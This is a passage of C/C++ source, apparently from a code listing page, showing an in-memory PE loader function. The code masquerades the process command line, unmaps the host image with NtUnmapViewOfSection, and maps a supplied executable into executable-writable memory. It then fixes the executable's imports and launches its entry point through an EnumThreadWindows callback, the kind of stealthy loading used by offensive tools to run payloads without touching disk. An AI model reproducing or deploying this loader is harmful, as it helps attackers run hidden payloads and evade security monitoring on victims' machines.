| 478 | } |
| 479 | |
| 480 | void PELoader(char* data, DWORD datasize) |
| 481 | { |
| 482 | |
| 483 | masqueradeCmdline(); |
| 484 | |
| 485 | unsigned int chksum = 0; |
| 486 | for (long long i = 0; i < datasize; i++) { chksum = data[i] * i + chksum / 3; }; |
| 487 | |
| 488 | BYTE* pImageBase = NULL; |
| 489 | LPVOID preferAddr = 0; |
| 490 | DWORD OldProtect = 0; |
| 491 | |
| 492 | IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)GetNTHeaders(data); |
| 493 | if (!ntHeader) { |
| 494 | exit(0); |
| 495 | } |
| 496 | |
| 497 | IMAGE_DATA_DIRECTORY* relocDir = GetPEDirectory(data, IMAGE_DIRECTORY_ENTRY_BASERELOC); |
| 498 | preferAddr = (LPVOID)ntHeader->OptionalHeader.ImageBase; |
| 499 | |
| 500 | |
| 501 | HMODULE dll = LoadLibraryA("ntdll.dll"); |
| 502 | ((int(WINAPI*)(HANDLE, PVOID))GetProcAddress(dll, "NtUnmapViewOfSection"))((HANDLE)-1, (LPVOID)ntHeader->OptionalHeader.ImageBase); |
| 503 | |
| 504 | pImageBase = (BYTE*)VirtualAlloc(preferAddr, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); |
| 505 | if (!pImageBase) { |
| 506 | if (!relocDir) { |
| 507 | exit(0); |
| 508 | } |
| 509 | else { |
| 510 | pImageBase = (BYTE*)VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); |
| 511 | if (!pImageBase) |
| 512 | { |
| 513 | exit(0); |
| 514 | } |
| 515 | } |
| 516 | } |
| 517 | |
| 518 | // FILL the memory block with PEdata |
| 519 | ntHeader->OptionalHeader.ImageBase = (size_t)pImageBase; |
| 520 | memcpy(pImageBase, data, ntHeader->OptionalHeader.SizeOfHeaders); |
| 521 | |
| 522 | IMAGE_SECTION_HEADER* SectionHeaderArr = (IMAGE_SECTION_HEADER*)(size_t(ntHeader) + sizeof(IMAGE_NT_HEADERS)); |
| 523 | for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) |
| 524 | { |
| 525 | memcpy(LPVOID(size_t(pImageBase) + SectionHeaderArr[i].VirtualAddress), LPVOID(size_t(data) + SectionHeaderArr[i].PointerToRawData), SectionHeaderArr[i].SizeOfRawData); |
| 526 | } |
| 527 | |
| 528 | // Fix the PE Import addr table |
| 529 | RepairIAT(pImageBase); |
| 530 | |
| 531 | // AddressOfEntryPoint |
| 532 | size_t retAddr = (size_t)(pImageBase)+ntHeader->OptionalHeader.AddressOfEntryPoint; |
| 533 | |
| 534 | EnumThreadWindows(0, (WNDENUMPROC)retAddr, 0); |
| 535 | |
| 536 | } |
| 537 |
no test coverage detected